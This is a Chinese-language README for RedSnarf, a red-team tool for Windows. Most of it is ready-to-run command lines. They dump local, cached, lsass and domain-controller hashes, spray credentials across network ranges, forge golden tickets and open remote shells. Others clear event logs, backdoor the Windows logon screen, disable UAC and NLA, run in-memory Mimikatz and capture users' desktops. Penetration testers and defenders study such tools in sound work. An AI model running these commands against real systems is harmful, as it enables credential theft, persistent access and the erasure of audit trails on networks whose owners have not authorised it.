RedSnarf 是一款用于 Windows 环境的渗透测试 / 红队工具
______ .____________ _____
\______ \ ____ __| _/ _____/ ____ _____ ________/ ____\
| _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\
| | \ ___// /_/ |/ \ | \/ __ \| | \/| |
|____|_ /\___ >____ /_______ /___| (____ /__| |__|
\/ \/ \/ \/ \/ \/
[email protected]
@redsnarf
RedSnarf 是一款渗透测试/红队工具,由 Ed Williams 编写,用于使用 OpSec 安全技术从 Windows 工作站、服务器和域控制器中检索哈希和凭据。
观看我们的 YouTube 频道上的视频 https://www.youtube.com/channel/UCDGWRxpHo6d8y6qIeMAXnxQ
RedSnarf 功能包括:
• 检索本地 SAM 哈希 • 枚举以提升系统权限运行的用户及其对应的 LSA 机密密码; • 检索 MS 缓存凭据; • 传递哈希; • 快速识别弱且可猜测的用户名/密码组合(默认为 administrator/Password01); • 跨范围检索哈希的能力; • 哈希喷洒 - 凭据文件支持 pwdump、fgdump 和纯文本用户名与密码混合,每行用空格分隔; • 转储 Lsass 以便使用 Mimikatz 进行离线分析; • 使用 NTDSUtil 转储域控制器哈希并检索 NTDS.dit 进行本地解析; • 使用 drsuapi 方法转储域控制器哈希; • 从域控制器检索脚本和策略文件夹,并搜索 'password' 和 'administrator'; • 能够解密 cpassword 哈希; • 能够在远程机器上启动 Shell; • 能够清除事件日志(应用程序、安全、设置或系统);(仅内部版本) • 结果按主机保存以便分析。 • 启用/禁用远程机器上的 RDP。 • 将远程机器上的 RDP 端口从 3389 更改为 443。 • 启用/禁用远程机器上的 NLA。 • 查找用户在远程机器上的登录位置。 • 后门 Windows 登录屏幕 • 启用/禁用远程机器上的 UAC。 • 添加了隐身模式 mimikatz。 • 解析域哈希 • 能够确定哪些账户已启用/禁用 • 截取远程登录活跃用户的桌面屏幕截图 • 录制远程登录活跃用户的桌面 • 解密 Windows CPassword • 解密 WinSCP 密码 • 获取用户 SPN • 从远程机器检索 WiFi 密码
需求: Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git CredDump7 - https://github.com/Neohapsis/creddump7 使用 procdump 检索 Lsass - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx Netaddr (0.7.12) - pip install netaddr Termcolor (1.1.0) - pip install termcolor iconv - 用于本地解析 Mimikatz 信息
显示帮助 ./redsnarf.py -h ./redsnarf.py --help
使用弱本地凭据从单台机器检索本地哈希并清除安全事件日志 ./redsnarf.py -H ip=10.0.0.50 -uC security
使用弱本地凭据从单台机器检索本地哈希并清除应用程序事件日志 ./redsnarf.py -H ip=10.0.0.50 -uC application
使用本地管理员凭据从单台机器检索本地哈希 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d .
使用域管理员凭据从单台机器检索本地哈希 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com
使用本地管理员凭据跨网络范围检索哈希 ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d .
使用域管理员凭据跨网络范围检索哈希 ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com
使用域管理员凭据跨网络范围检索哈希 ./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com
跨网络范围喷洒哈希 ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d .
跨网络范围(域登录)检索哈希 ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com
快速检查凭据 ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y
快速检查包含用户名的文件(-hS)和通用密码(-hP) ./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y
使用 drsuapi 方法检索哈希(最快) 此方法支持可选标志 -q y,将查询 LDAP 并输出账户是活跃还是已禁用 ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y)
使用 NTDSUtil 检索哈希 此方法支持可选标志 -q y,将查询 LDAP 并输出账户是活跃还是已禁用 ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y)
生成黄金票据 ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hT y
从域控制器复制策略和脚本文件夹,并搜索 password 和 administrator ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y
解密 CPassword ./redsnarf.py -uG cpassword
查找用户 - 在线 /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name
查找用户 - 离线(搜索预先下载的信息) /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name
显示 NT AUTHORITY\SYSTEM 任务列表 /redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eT y
截取远程登录活跃用户的桌面屏幕截图 /redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eS y
使用本地管理员凭据在机器上启动 Shell ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y
使用域管理员凭据在机器上启动 Shell ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y
在机器上检索 lsass 副本以便使用 Mimikatz 进行离线解析(使用本地管理员凭据) ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y
运行隐身模式 mimikatz,此选项会启动一个 Web 服务器以提供 PowerShell 脚本,该脚本在机器端进行混淆和编码,数据不接触磁盘 - 凭据以易读格式抓取并回显到屏幕。 ./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y
运行自定义命令 示例 1 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user'
示例 2 - 双引号需要用 \ 转义 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name "domain admins" | dsget group -members -expand'
本地访问令牌策略 创建一个批处理文件 lat.bat,您可以将其复制并粘贴到远程机器上执行,从而修改注册表并启用或禁用本地访问令牌策略设置。 ./redsnarf.py -rL y
Wdigest 使用域管理员凭据在机器上启用 UseLogonCredential Wdigest 注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e
使用域管理员凭据在机器上禁用 UseLogonCredential Wdigest 注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d
使用域管理员凭据在机器上查询 UseLogonCredential Wdigest 注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q
UAC 使用域管理员凭据在机器上启用 UAC 注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e
使用域管理员凭据在机器上禁用 UAC 注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d
使用域管理员凭据在机器上查询 UAC 注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q
后门 - 后门 Windows 登录屏幕 - 按左 Shift + 左 Alt + Print Screen 激活 使用域管理员凭据在机器上启用后门注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e
使用域管理员凭据在机器上禁用后门注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d
使用域管理员凭据在机器上查询后门注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q
自动登录 使用域管理员凭据在机器上启用 Windows 自动登录注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA e
使用域管理员凭据在机器上禁用 Windows 自动登录注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA d
使用域管理员凭据在机器上查询 Windows 自动登录注册表值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA q
使用域管理员凭据锁定远程机器用户会话 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uL y
使用域管理员凭据在机器上启用 RDP ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e
使用域管理员凭据在机器上禁用 RDP ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d
使用域管理员凭据查询机器上的 RDP 状态 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q
将 RDP 端口从 3389 更改为 443 - 使用域管理员凭据在机器上将 RDP 端口更改为 443 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e
使用域管理员凭据在机器上将 RDP 端口恢复为默认的 3389 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d
使用域管理员凭据查询机器上的 RDP 端口值 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q
使用 Mimikatz 启用多 RDP ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uR y
使用域管理员凭据在机器上启用 RDP SingleSessionPerUser ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM e
使用域管理员凭据在机器上禁用 RDP SingleSessionPerUser ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM d
使用域管理员凭据查询机器上的 RDP SingleSessionPerUser 状态 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM q
使用域管理员凭据在机器上启用 NLA ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e
使用域管理员凭据在机器上禁用 NLA ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d
使用域管理员凭据查询机器上的 NLA 状态 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q